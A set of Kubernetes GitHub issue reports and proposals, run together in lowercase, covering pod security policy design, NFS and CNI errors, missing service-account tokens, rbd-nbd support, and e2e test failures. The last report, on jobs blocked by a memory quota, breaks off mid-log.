permissive podsecuritypolicy p2 which can create privileged pods. - create special purpose service account s2 which references p2 - give cluster operator user u2 permission to use s2 - do not give any other users permission to use s2.  create s2 in a namespace other than n2 if needed. - u2 creates pod with service account s2, and any security context desired.  note that the cluster admin can  1  make a powerful service account and make a pod using that account or  2  make a pod that runs as any existing service account, with that service accounts limitations, but the cluster admin cannot make a powerful pod that runs as an existing weak service account.  this is the same as unix.  root is powerful when running as root, and can su to any other user, but it not powerful when su'ed to a weak user.      reasons i like this approach - we will need to add code that checks whether a user can read a secret before allowing creation of a pod that mounts it.  the pattern for that will be quite similar to this.  if we do   7893 as proposed, then we end up with two quite different patterns. - it will be easier to teach an existing outside-of-kubernetes authorization system that something called a \ serviceaccount\  has a \ use\  verb, than it will be to teach it about the exact format of a psp object and its users and groups fields. - keeps users and groups  which belong to \ object-level authorization\   separate from  field-level authorization  see  17549 .   - the \ use\  verb idea is very similar to the \ acting-as\  header proposed in  16933 to avoid confused deputy problem. - by putting a reference to podsecuritypolicy into a serviceaccount, it allows you to know the maximum set of things that a serviceaccount can do from inspecting just that serviceaccount object.  otherwise, you can have a privileged pod run by a serviceaccount that you don't expect to be privileged. - once the pod's service account has been determined, further policy checks need not make any reference to users or groups.  this should simplify pod policy. - rather than needing to check all the psps a user has access to, the correct psp is known from the pod's sa.  todo: figure out how this would work with network policy.

when using nfs with a persistent volume & persistent volume claim on a rc, the attempt at mounting the volume fails multiple stimes with  exit status 32  as seen below:      events:   firstseen     lastseen        count   from                    subobjectpath                           reason          message   ─────────     ────────        ─────   ────                    ─────────────                           ──────          ───────   1m            1m              1       {scheduler }                                                    scheduled       successfully assigned g-pj3pl to 10.210.8.122   1m            14s             12      {kubelet 10.210.8.122}                                          failedmount     unable to mount volumes for pod \ g-pj3pl_dev\ : exit status 32   1m            14s             12      {kubelet 10.210.8.122}                                          failedsync      error syncing pod, skipping: exit status 32   4s            4s              1       {kubelet 10.210.8.122}  spec.containers{g}                      pulled          container image \ <image>\  already present on machine   4s            4s              1       {kubelet 10.210.8.122}  spec.containers{g}                      created         created with docker id 5eb2da3af876   4s            4s              1       {kubelet 10.210.8.122}  spec.containers{g}                      started         started with docker id 5eb2da3af876   4s            4s              1       {kubelet 10.210.8.122}  implicitly required container pod       created         created with docker id ba1755c2ccce   4s            4s              1       {kubelet 10.210.8.122}  implicitly required container pod       pulled          container image \ gcr.io/google_containers/pause:0.8.0\  already present on machine   4s            4s              1       {kubelet 10.210.8.122}  implicitly required container pod       started         started with docker id ba1755c2ccce      the kubelet shows the following in the logs repeated multiple times  as noted by the 12 in the count column above  across all 3 of my nodes:      dec 16 08:12:58 kubernetes-minion-0 kubelet 1195 : w1216 08:12:58.295004    1195 kubelet.go:1588  orphaned volume \ 987f78d1-a3cc-11e5-ab15-bc764e11bd88/pv5g-greeter\  found, tearing down volume dec 16 08:12:58 kubernetes-minion-0 kubelet 1195 : e1216 08:12:58.296698    1195 mount_linux.go:103  mount failed: exit status 32 dec 16 08:12:58 kubernetes-minion-0 kubelet 1195 : mounting arguments: <ip>:/mystore /var/lib/kubelet/pods/987f78d1-a3cc-11e5-ab15-bc764e11bd88/volumes/kubernetes.io~nfs/pv5g-greeter nfs    dec 16 08:12:58 kubernetes-minion-0 kubelet 1195 : output: mount.nfs: mount point /var/lib/kubelet/pods/987f78d1-a3cc-11e5-ab15-bc764e11bd88/volumes/kubernetes.io~nfs/pv5g-greeter does not exist dec 16 08:12:58 kubernetes-minion-0 kubelet 1195 : e1216 08:12:58.296741    1195 nfs.go:174  islikelynotmountpoint check failed: stat /var/lib/kubelet/pods/987f78d1-a3cc-11e5-ab15-bc764e11bd88/volumes/kubernetes.io~nfs/pv5g-greeter: no such file or directory dec 16 08:12:58 kubernetes-minion-0 kubelet 1195 : e1216 08:12:58.296812    1195 kubelet.go:1360  unable to mount volumes for pod \ greeter-pj3pl_dev\ : exit status 32; skipping pod dec 16 08:12:58 kubernetes-minion-0 kubelet 1195 : e1216 08:12:58.322961    1195 pod_workers.go:112  error syncing pod 987f78d1-a3cc-11e5-ab15-bc764e11bd88, skipping: exit status 32      _notes_: - running v1.1.3 on coreos 835.9.0 - nfs-kernel-server on ubuntu 14.04 w/ standard settings - manual nfs client functions, so it's not that

hi @kubernetes/sig-node ! ok, got the node tests running locally thanks to help from you guys during hack day.  just a quick brain dump, this may or may not be a big deal :   i build the binary :       sudo hack/build-go.sh test/e2e_node/e2e_node.test      and then i ran the test suite using these args...       sudo _output/local/bin/linux/amd64/e2e_node.test --alsologtostderr --v 2 --node-name  hostname  --build-services=false --start-services=false --stop-services=false      ... and here's the results.  i ran this as root...       fail  container conformance test container conformance blackbox test when running a container that terminates  it  it should run successfully to completion  conformance   /home/jayunit100/development/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/conformance_test.go:122   fail  container conformance test container conformance blackbox test when running a container that terminates  it  it should report its phase as 'succeeded'  conformance   /home/jayunit100/development/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/conformance_test.go:126   fail  container conformance test container conformance blackbox test when running a container that terminates  it  it should be possible to delete  conformance   /home/jayunit100/development/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/conformance_test.go:131   fail  kubelet pod scheduling when scheduling a busybox command in a pod  it  it should return succes  /home/jayunit100/development/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/kubelet_test.go:71   fail  kubelet pod scheduling when scheduling a busybox command in a pod  it  it should print the output to logs  /home/jayunit100/development/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/kubelet_test.go:85   fail  kubelet pod scheduling when scheduling a busybox command in a pod  it  it should be possible to delete  /home/jayunit100/development/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/kubelet_test.go:90   fail  kubelet pod scheduling when scheduling a read only busybox container  it  it should return success  /home/jayunit100/development/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/kubelet_test.go:121   fail  kubelet pod scheduling when scheduling a read only busybox container  it  it should not write to the root filesystem  /home/jayunit100/development/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/kubelet_test.go:134   fail  kubelet pod scheduling when scheduling a read only busybox container  it  it should be possible to delete  /home/jayunit100/development/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/kubelet_test.go:139   fail  kubelet metrics api  beforeeach  when querying /stats/summary it should report resource usage through the stats api  /home/jayunit100/development/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/kubelet_test.go:308

seen on kubernetes v1.2.3.  looks like the kubelet is trying to look up a pod's ip address before the cni plugin has actually been executed, resulting in the following cryptic message:      may 06 20:53:29 k8s-node-01 kubelet 5948 : e0506 20:53:29.662825    5948 manager.go:309  networkplugin cni failed on the status hook for pod 'bb-1567316873-gfwfh' - invalid cidr address: device \ eth0\  does not exist.      here are logs isolating the issue, showing three notable events: 1  intent to execute cni - \ about to run with conf.network.type=calico\  2  the above error log - kubelet trying to read eth0 before cni has finished executing. 3  the cni plugin returns - \ starting calico cni plugin execution\       may 06 20:53:29 k8s-node-01 kubelet 5948 : i0506 20:53:29.636126    5948 cni.go:164  about to run with conf.network.type=calico, c.path= /opt/cni/bin /opt/calico/bin  may 06 20:53:29 k8s-node-01 kubelet 5948 : i0506 20:53:29.636101    5948 handler.go:320  added event &{/system.slice/docker-f32c82eb5638960c2dbe6b80c0ce829342a216e51a75fed3da5d288c8b41d647.scope 2016-05-06 20:53:29.479414223 +0000 utc containercreation {<nil>}} may 06 20:53:29 k8s-node-01 kubelet 5948 : i0506 20:53:29.640113    5948 container.go:386  start housekeeping for container \ /system.slice/docker-f32c82eb5638960c2dbe6b80c0ce829342a216e51a75fed3da5d288c8b41d647.scope\  may 06 20:53:29 k8s-node-01 kubelet 5948 : e0506 20:53:29.662825    5948 manager.go:309  networkplugin cni failed on the status hook for pod 'bb-1567316873-gfwfh' - invalid cidr address: device \ eth0\  does not exist. may 06 20:53:29 k8s-node-01 kubelet 5948 : i0506 20:53:29.662938    5948 generic.go:299  pleg: write status for bb-1567316873-gfwfh/default: &{id:960a5c03-13cc-11e6-95bd-0800274b98c8 name:bb-1567316873-gfwfh namespace:default ip: containerstatuses: 0xc2082e40e0 }  err: <nil>  may 06 20:53:29 k8s-node-01 kubelet 5948 : i0506 20:53:29.663103    5948 kubelet.go:2414  syncloop  pleg : \ bb-1567316873-gfwfh_default 960a5c03-13cc-11e6-95bd-0800274b98c8 \ , event: &pleg.podlifecycleevent{id:\ 960a5c03-13cc-11e6-95bd-0800274b98c8\ , type:\ containerstarted\ , data:\ 2e038a28dbd2d9f5cf1ae9a6b9add3a2a0ebae8a23a9e8a5b321139e51345957\ } may 06 20:53:29 k8s-node-01 kubelet 5948 : i0506 20:53:29.668145    5948 docker.go:363  docker container: /calico-node is not managed by kubelet. may 06 20:53:29 k8s-node-01 kubelet 5948 : i0506 20:53:29.668372    5948 manager.go:324  container inspect result: {id:f32c82eb5638960c2dbe6b80c0ce829342a216e51a75fed3da5d288c8b41d647 created:2016-05-06 20:53:29.479414223 +0000 utc path:/pause args:   config:0xc208268700 state:{running:true paused:false restarting:false oomkilled:false pid:6471 exitcode:0 error: startedat:2016-05-06 20:53:29.614458341 +0000 utc finishedat:0001-01-01 00:00:00 +0000 utc} image:8950680a606cf7a0b7916dbf4a435b35d28d75c705999847eddb5ed38eb53204 node:<nil> networksettings:0xc2083de300 sysinitpath: resolvconfpath:/var/lib/docker/containers/f32c82eb5638960c2dbe6b80c0ce829342a216e51a75fed3da5d288c8b41d647/resolv.conf hostnamepath:/var/lib/docker/containers/f32c82eb5638960c2dbe6b80c0ce829342a216e51a75fed3da5d288c8b41d647/hostname hostspath:/var/lib/docker/containers/f32c82eb5638960c2dbe6b80c0ce829342a216e51a75fed3da5d288c8b41d647/hosts logpath:/var/lib/docker/containers/f32c82eb5638960c2dbe6b80c0ce829342a216e51a75fed3da5d288c8b41d647/f32c82eb5638960c2dbe6b80c0ce829342a216e51a75fed3da5d288c8b41d647-json.log name:/k8s_pod.6059dfa2_bb-1567316873-2bbtf_default_960af9dd-13cc-11e6-95bd-0800274b98c8_ea81b7af driver:overlay mounts:   volumes:map   volumesrw:map   hostconfig:0xc208dde840 execids:   restartcount:0 apparmorprofile:} may 06 20:53:29 k8s-node-01 kubelet 5948 : e0506 20:53:29.717241    5948 manager.go:309  networkplugin cni failed on the status hook for pod 'bb-1567316873-2bbtf' - invalid cidr address: device \ eth0\  does not exist. may 06 20:53:29 k8s-node-01 kubelet 5948 : i0506 20:53:29.717374    5948 generic.go:299  pleg: write status for bb-1567316873-2bbtf/default: &{id:960af9dd-13cc-11e6-95bd-0800274b98c8 name:bb-1567316873-2bbtf namespace:default ip: containerstatuses: 0xc2082e4540 }  err: <nil>  may 06 20:53:29 k8s-node-01 kubelet 5948 : i0506 20:53:29.717449    5948 kubelet.go:2414  syncloop  pleg : \ bb-1567316873-2bbtf_default 960af9dd-13cc-11e6-95bd-0800274b98c8 \ , event: &pleg.podlifecycleevent{id:\ 960af9dd-13cc-11e6-95bd-0800274b98c8\ , type:\ containerstarted\ , data:\ f32c82eb5638960c2dbe6b80c0ce829342a216e51a75fed3da5d288c8b41d647\ } may 06 20:53:29 k8s-node-01 kubelet 5948 : i0506 20:53:29.719339    5948 docker.go:363  docker container: /calico-node is not managed by kubelet. may 06 20:53:29 k8s-node-01 kubelet 5948 : 2016-05-06 20:53:29,929 6507  default/bb-1567316873-gfwfh  info starting calico cni plugin execution      i haven't quite figured out which bit of the kubelet is actually jumping the gun here.  it seems benign  the pod still gets set up  yet quite confusing.  we should also fix the bit of cni code that's trying to parse \ device eth0 does not exist\  as an ip address.

at least twice now, we've created a namespace and seen that the corresponding service account default secret token is never created.  the service account itself is, but not the default secret.     namespace creation + apiserver logs      logstash-ingester: namespace creation triggered service account creation but no secret        $ echo \ {\\\ apiversion\\\ :\\\ v1\\\ ,\\\ kind\\\ :\\\ namespace\\\ ,\\\ metadata\\\ :{\\\ name\\\ :\\\ logstash-ingester\\\ }}\  | kubectl create -f -  i0504 12:28:33.331396       1 handlers.go:152  post /api/v1/namespaces:  13.998977ms  201   kubectl/v1.2.2  linux/amd64  kubernetes/528f879  192.168.0.16:42612  i0504 12:28:33.862690       1 handlers.go:152  get /api/v1/namespaces/logstash-ingester/replicationcontrollers?labelselector=name%3dlogstash-ingester:  1.486039ms  200   kubectl/v1.2.2  linux/amd64  kubernetes/528f879  192.168.0.16:42615  i0504 12:28:34.101045       1 handlers.go:152  get /api/v1/namespaces/logstash-ingester/serviceaccounts/default:  1.178765ms  404   hyperkube/v1.2.2  linux/amd64  kubernetes/528f879/tokens-controller  127.0.0.1:45497  i0504 12:28:34.102937       1 handlers.go:152  post /api/v1/namespaces/logstash-ingester/serviceaccounts:  15.911881ms  201   hyperkube/v1.2.2  linux/amd64  kubernetes/528f879/service-account-controller  127.0.0.1:45495  ...  never any post to /api/v1/namespaces/logstash-ingester/secrets         logstash-broker: namespace creation triggered service account creation and secret creation        $ echo \ {\\\ apiversion\\\ :\\\ v1\\\ ,\\\ kind\\\ :\\\ namespace\\\ ,\\\ metadata\\\ :{\\\ name\\\ :\\\ logstash-broker\\\ }}\  | kubectl create -f -  i0504 12:29:01.541478       1 handlers.go:152  post /api/v1/namespaces:  9.31755ms  201   kubectl/v1.2.2  linux/amd64  kubernetes/528f879  192.168.0.16:42675  i0504 12:29:01.547657       1 handlers.go:152  post /api/v1/namespaces/logstash-broker/serviceaccounts:  4.763383ms  201   hyperkube/v1.2.2  linux/amd64  kubernetes/528f879/service-account-controller  127.0.0.1:45516  i0504 12:29:01.551010       1 handlers.go:152  get /api/v1/namespaces/logstash-broker/serviceaccounts/default:  1.304463ms  200   hyperkube/v1.2.2  linux/amd64  kubernetes/528f879/tokens-controller  127.0.0.1:45516  i0504 12:29:01.587075       1 handlers.go:152  get /api/v1/namespaces/logstash-broker/resourcequotas:  1.294544ms  200   hyperkube/v1.2.2  linux/amd64  kubernetes/528f879  127.0.0.1:45384  i0504 12:29:01.593363       1 handlers.go:152  post /api/v1/namespaces/logstash-broker/secrets:  8.396083ms  201   hyperkube/v1.2.2  linux/amd64  kubernetes/528f879/tokens-controller  127.0.0.1:45516  i0504 12:29:01.612385       1 handlers.go:152  put /api/v1/namespaces/logstash-broker/serviceaccounts/default:  17.334548ms  200   hyperkube/v1.2.2  linux/amd64  kubernetes/528f879/tokens-controller  127.0.0.1:45516  ...        resulting service accounts        $ kubectl get serviceaccounts --all-namespaces namespace            name      secrets   age default              default   1         10h logstash-broker      default   1         10h logstash-ingester    default   0         10h        resulting secrets        $ kubectl get secrets --all-namespaces namespace            name                  type                                  data      age default              default-token-fxpho   kubernetes.io/service-account-token   3         10h logstash-broker      default-token-3y3el   kubernetes.io/service-account-token   3         10h        controller-manager logs for broken case        $ kubectl.sh logs kube-controller-manager-m1kmaster2 | grep logstash-ingester |  head -n4; python -c \ print '-' 50\ ; tail -n4   i0504 12:28:35.215493       1 replication_controller.go:434  too few \ logstash-ingester\ /\ logstash-ingester-20160504-122831\  replicas, need 1, creating 1 i0504 12:28:35.219456       1 replication_controller.go:440  failed creation, decrementing expectations for controller \ logstash-ingester\ /\ logstash-ingester-20160504-122831\  e0504 12:28:35.219502       1 replication_controller.go:442  unable to create pods: pods \ logstash-ingester-20160504-122831-\  is forbidden: no api token found for service account logstash-ingester/default, retry after the token is automatically created and added to the service account i0504 12:28:35.232246       1 event.go:211  event api.objectreference{kind:\ replicationcontroller\ , namespace:\ logstash-ingester\ , name:\ logstash-ingester-20160504-122831\ , uid:\ b888278b-11f3-11e6-afb3-00505615bcae\ , apiversion:\ v1\ , resourceversion:\ 932\ , fieldpath:\ \ } : type: 'warning' reason: 'failedcreate' error creating: pods \ logstash-ingester-20160504-122831-\  is forbidden: no api token found for service account logstash-ingester/default, retry after the token is automatically created and added to the service account -------------------------------------------------- i0504 22:45:38.575166       1 replication_controller.go:434  too few \ logstash-ingester\ /\ logstash-ingester-20160504-122831\  replicas, need 1, creating 1 i0504 22:45:38.590631       1 replication_controller.go:440  failed creation, decrementing expectations for controller \ logstash-ingester\ /\ logstash-ingester-20160504-122831\  e0504 22:45:38.590750       1 replication_controller.go:442  unable to create pods: pods \ logstash-ingester-20160504-122831-\  is forbidden: no api token found for service account logstash-ingester/default, retry after the token is automatically created and added to the service account i0504 22:45:38.591223       1 event.go:211  event api.objectreference{kind:\ replicationcontroller\ , namespace:\ logstash-ingester\ , name:\ logstash-ingester-20160504-122831\ , uid:\ b888278b-11f3-11e6-afb3-00505615bcae\ , apiversion:\ v1\ , resourceversion:\ 934\ , fieldpath:\ \ } : type: 'warning' reason: 'failedcreate' error creating: pods \ logstash-ingester-20160504-122831-\  is forbidden: no api token found for service account logstash-ingester/default, retry after the token is automatically created and added to the service account        controller-manager logs for working case        $ kubectl.sh logs kube-controller-manager-m1kmaster2 | grep logstash-broker | head -n2  i0504 12:29:03.699793       1 replication_controller.go:434  too few \ logstash-broker\ /\ logstash-broker-20160504-122858\  replicas, need 1, creating 1 i0504 12:29:03.733761       1 event.go:211  event api.objectreference{kind:\ replicationcontroller\ , namespace:\ logstash-broker\ , name:\ logstash-broker-20160504-122858\ , uid:\ c97f9a9b-11f3-11e6-afb3-00505615bcae\ , apiversion:\ v1\ , resourceversion:\ 982\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: logstash-broker-20160504-122858-vtbky        version info:        $ kubectl --server=https://192.168.0.204:6443 --kubeconfig=/highland/config/kubernetes/config   version client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.2\ , gitcommit:\ 528f879e7d3790ea4287687ef0ab3f2a01cc2718\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.2\ , gitcommit:\ 528f879e7d3790ea4287687ef0ab3f2a01cc2718\ , gittreestate:\ clean\ }

objective  add support for the recently emerged  rbd-nbd  feature-rich client to improve support for ceph rbd in kubernetes.    background  kubernetes already offers support for ceph rbd based on the  krbd  kernel client. unfortunately, due to obvious reasons,  krbd  can't use the  librbd  user-space space library that gets most of the development focus. this caused a feature gap when compared to vm-based environments.  at the moment  krbd  lacks exclusive locking infrastructure, image management facilities and multi-dc support  remote backups! . the detailed list can be obtained by comparing the definitions of  rbd_features_all  macro in   librbd   https://github.com/ceph/ceph/blob/master/src/include/rbd/features.h l25  and  kernel  http://lxr.linux.no/ linux+v4.7.2/drivers/block/rbd.c l121 . while there are efforts on partially closing the gap  patches waiting for merge ,  librbd  continuously gets new items like  consistency groups  http://tracker.ceph.com/projects/ceph/wiki/consistency_groups  or  fencing improvements  https://github.com/ceph/ceph/pull/9592 .  beside the feature gap  krbd  exhibits additional drawback. being entirely kernel space impacts fault-tolerance as any kernel panic affects a whole node -- not only a single pod using rbd storage. according to the   rbd-nbd  pull request  https://github.com/ceph/ceph/pull/6657  the reliability, especially on non-x86 platforms, was one of the driving factors behind the new client.  those issues can be addressed by employing  rbd-nbd  -- a thin adapter   858 lines of code in jewel  https://github.com/ceph/ceph/blob/v10.2.2/src/tools/rbd_nbd/rbd-nbd.cc l858   between nbd subsystem of linux kernel and  librbd .  the primary concern about  rbd-nbd  was performance. the authors claimed it's _comparable_ to krbd. together with intel we verified those claims. tests on typical hw where ceph is deployed  ssds for journals, hdds as main storage  showed  rbd-nbd  delivers 70-80% of  krbd  performance. though, we don't consider the raw performance as a deciding factor. even fastest rbd client wouldn't be a solution-of-choice for performance critical use cases like rdbms hosting.    proposal  we would like to propose incorporating support for  rbd-nbd . the integration can be accomplished in multiple ways. 1. extending the current in-tree plugin for rbd to use  krbd  or  rbd-nbd  depending on a configuration parameter. this would assure the excellent commonality. on the other hand we see differences where this might become an issue.      the _krbd_-based plugin employs the _advisory locking_ mechanism to provide fencing at the cost of ha -- in case of node crash a manual intervention is required. however, serving images marked to use _exclusive locking_ feature would result in employing the same underlying infrastructure twice. at the moment this isn’t an issue because  krbd  simply doesn’t support exclusive lock. however, when it finally gets it, rbd images created with ceph’s default capabilities set will be inaccessible in read-write mode. this was the reason why a  similar solution  https://lists.gnu.org/archive/html/qemu-devel/2016-04/msg02422.html  has been  refused  https://lists.gnu.org/archive/html/qemu-devel/2016-04/msg04131.html  in qemu.      another problem we see are additional dependencies. after fencing capability is integrated directly in  krbd , the dependency on user-space  /usr/bin/rbd  cli utility can be removed. the helper is not required for mapping rbd images as the kernel interface may be used directly by the plugin. 2. dedicated in-tree plugin. offers greatest flexibility in adopting new features  like dynamic provisioning of persistent volumes . 3. dedicated flexvolume plugin. simple but limited. bringing support for e.g. dynamic provisioning would require extensive changes in flexvolume’s interfaces.  at the moment the option   2 looks most promising. though we stay entirely open for the discussion.    future work     performance   rbd-nbd  efficiency suffers from extra context switches and extensive memory copying between kernel and user-space boundaries. although we can do nothing with the first factor, the second can be improved for large blocks transfers. linux kernel has facilities for zero-copy page-aligned memory transfers between kernel and application via the combination of  splice  and  vmsplice  system calls.     fencing  actually mirantis  is working  https://github.com/ceph/ceph/pull/9592  on bringing fencing to  librbd  on the top of exclusive lock infrastructure. this would allow to move from the flawed _advisory lock_ mechanism that is currently used by rbd storage plugin.     dynamic provisioning  currently rbd images must be created ahead by a cluster administrator. we see possibility to implement the dynamic provisioning for rbd in the future.

the logs should be a lower case letter for the first letter and modify some commend information which is consistent in context.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1.4-1.5-upgrade-cluster-new/15/  multiple broken tests:  failed: upgradetest {e2e.go}      exit status 1     issues about this test specifically:  37745   failed: dumpclusterlogs {e2e.go}      terminate testing after 15m after 10h0m0s timeout during dump cluster logs     issues about this test specifically:  33722  37578  37974  38206   failed:  k8s.io  upgrade  feature:upgrade   k8s.io  cluster upgrade should maintain a functioning cluster  feature:clusterupgrade  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:101 dec  7 19:50:05.890: timeout waiting for service \ service-test\  to have a load balancer /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:2409     issues about this test specifically:  38172   failed: teardown {e2e.go}      terminate testing after 15m after 10h0m0s timeout during teardown     issues about this test specifically:  34118  34795  37058  38207   failed: diffresources {e2e.go}      error: 26 leaked resources +bootstrap-e2e-minion-template-v1-5-0-beta-2-107-faf84b7ecc7a19  n1-standard-2               2016-12-07t19:55:05.299-08:00 +name                        location       scope  network        managed  instances +bootstrap-e2e-minion-group  us-central1-f  zone   bootstrap-e2e  yes      3 +name                             zone           machine_type   preemptible  internal_ip  external_ip      status +bootstrap-e2e-master             us-central1-f  n1-standard-1               10.240.0.2   104.198.165.105  running +bootstrap-e2e-minion-group-a44r  us-central1-f  n1-standard-2               10.240.0.4   104.154.162.19   running +bootstrap-e2e-minion-group-n43s  us-central1-f  n1-standard-2               10.240.0.3   104.197.90.176   running +bootstrap-e2e-minion-group-xgth  us-central1-f  n1-standard-2               10.240.0.6   35.184.63.206    running +name                             zone           size_gb  type         status +bootstrap-e2e-master             us-central1-f  10       pd-standard  ready +bootstrap-e2e-master-pd          us-central1-f  20       pd-ssd       ready +bootstrap-e2e-minion-group-a44r  us-central1-f  100      pd-standard  ready +bootstrap-e2e-minion-group-n43s  us-central1-f  100      pd-standard  ready +bootstrap-e2e-minion-group-xgth  us-central1-f  100      pd-standard  ready +name                     region       address          status +bootstrap-e2e-master-ip  us-central1  104.198.165.105  in_use +bootstrap-e2e-0805b638-bd21-11e6-a8bf-42010af00002  bootstrap-e2e  10.180.8.0/24  us-central1-f/instances/bootstrap-e2e-minion-group-a44r  1000 +bootstrap-e2e-2361c636-bcfb-11e6-a8bf-42010af00002  bootstrap-e2e  10.180.5.0/24  us-central1-f/instances/bootstrap-e2e-minion-group-n43s  1000 +bootstrap-e2e-789bc122-bd18-11e6-a8bf-42010af00002  bootstrap-e2e  10.180.6.0/24  us-central1-f/instances/bootstrap-e2e-minion-group-xgth  1000 +bootstrap-e2e-f5f88c87-bcf9-11e6-a8bf-42010af00002  bootstrap-e2e  10.180.0.0/24  us-central1-f/instances/bootstrap-e2e-master             1000 +bootstrap-e2e-master-https                    bootstrap-e2e  0.0.0.0/0        tcp:443                                    bootstrap-e2e-master +bootstrap-e2e-minion-all                      bootstrap-e2e  10.180.0.0/14    tcp,udp,icmp,esp,ah,sctp                   bootstrap-e2e-minion +bootstrap-e2e-minion-bootstrap-e2e-http-alt   bootstrap-e2e  0.0.0.0/0        tcp:80,tcp:8080                            bootstrap-e2e-minion +bootstrap-e2e-minion-bootstrap-e2e-nodeports  bootstrap-e2e  0.0.0.0/0        tcp:30000-32767,udp:30000-32767            bootstrap-e2e-minion +k8s-fw-abd6d81f1bcfb11e6a8bf42010af0000       bootstrap-e2e  10.180.4.3/32    tcp:80                                     bootstrap-e2e-minion +abd6d81f1bcfb11e6a8bf42010af0000  us-central1     issues about this test specifically:  33373  33416  34060   failed: deferred teardown {e2e.go}      terminate testing after 15m after 10h0m0s timeout during teardown     issues about this test specifically:  35658

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r   what keywords did you search in kubernetes issues before filing this one?  \r job, resourcequota, scheduler\r \r -   kubernetes version    use  kubectl version  :\r \r     client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:44:38z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r     server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ a55267932d501b9fbd6d73e5ded47d79b5763ce5\ , gittreestate:\ clean\ , builddate:\ 2017-04-14t13:36:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r -   environment  : centos bare metal  https://kubernetes.io/docs/getting-started-guides/centos/centos_manual_config/ \r -   cloud provider or hardware configuration  : -\r -   os    e.g. from /etc/os-release : centos 7\r -   kernel    e.g.  uname -a  : linux <server name> 3.10.0-514.2.2.el7.x86_64  1 smp tue dec 6 23:06:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : -\r -   others  : -\r \r   what happened  :\r having created a resourcequota  e.g. 400m  and creating enough memory-limited jobs to go over that quota  e.g. 4 x 200m limit jobs , at first, two jobs are created and executed as expected, and two jobs fail at first due to memory quota:\r \r     events:\r       firstseen\tlastseen\tcount\tfrom\t\tsubobjectpath\ttype\t\treason\t\tmessage\r       ---------\t--------\t-----\t----\t\t-------------\t--------\t------\t\t-------\r       4s\t\t4s\t\t1\tjob-controller\t\t\twarning\t\tfailedcreate\terror creating: pods \ memhog-y152c55u-\  is forbidden: exceeded quota: memoryquota, requested: memory=200mi, used: memory=400mi, limited: memory=400mi\r \r after the first two jobs have been completed, instead of starting the remaining jobs as soon as possible, the remaining two jobs stay unstarted in this state for many, many hours until they finally start and complete.\r \r first job: start time:\tfri, 28 apr 2017 15:00:08 +0300\r one of the remaining 2 jobs: start time:\tsat, 29 apr 2017 07:13:34 +0300\r \r   what you expected to happen  :\r \r i'm expecting the two waiting jobs to start executing as soon as the resources they need are available, e.g. as soon as the first jobs are completed.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r bring up a kubernetes cluster, then execute these commands:\r \r     $ kubectl create quota memoryquota --hard=memory=400mi\r     $ echo kubectl run memhog-'$ cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 8 | head -n 1 ' --replicas=1 --restart=onfailure --image-pull-policy=ifnotpresent --limits=memory='$1'mi,cpu=100m --record --image=derekwaynecarr/memhog --command -- memhog -r100 '$2'm > run-memhog.sh\r     $ chmod +x run-memhog.sh\r     $ for i in {1..4}; do ./run-memhog.sh 200 100; done\r     job \ memhog-0ju2eiuy\  created\r     job \ memhog-t8qyt5sj\  created\r     job \ memhog-ljaqz4ek\  created\r     job \ memhog-eb8q8kr3\  created\r \r wait for around 30 seconds and the first jobs should be complete:\r     \r     $ kubectl get jobs\r     name              desired   successful   age \r     memhog-0ju2eiuy   1         1            43s\r     memhog-eb8q8kr3   1         0            42s\r     memhog-ljaqz4ek   1         0            43s\r     memhog-t8qyt5sj   1         1            43s\r     $ kubectl describe jobs\r     ....\r \r however, the remaining jobs don't start at all as shown by:\r \r     $ kubectl describe job memhog-ljaqz4ek\r     name:   memhog-ljaqz4ek\r     namespace:  test\r     selector: controller-uid=dd6fb770-2f00-11e7-8766-52c84ff43b2b\r     labels:   run=memhog-ljaqz4ek\r     annotations:  kubernetes.io/change-cause=kubectl run memhog-ljaqz4ek memhog -r100 100m --replicas=1 --restart=onfailure --image-pull-policy=ifnotpresent --limits=memory=200mi,cpu=100m --record=true --image=derekway...\r     parallelism:  1\r     completions:  1\r     pods statuses:  0 running / 0 succeeded / 0 failed\r     pod template:\r       labels: controller-uid=dd6fb770-2f00-11e7-8766-52c84ff43b2b\r         job-name=memhog-ljaqz4ek\r         run=memhog-ljaqz4ek\r       containers:\r        memhog-ljaqz4ek:\r         image:  derekwaynecarr/memhog\r         port: \r         command:\r           memhog\r           -r100\r           100m\r         limits:\r           cpu:    100m\r           memory:   200mi\r         environment:  <none>\r         mounts:   <none>\r       volumes:    <none>\r     events:\r       firstseen lastseen  count from    subobjectpath type    reason    message\r       --------- --------  ----- 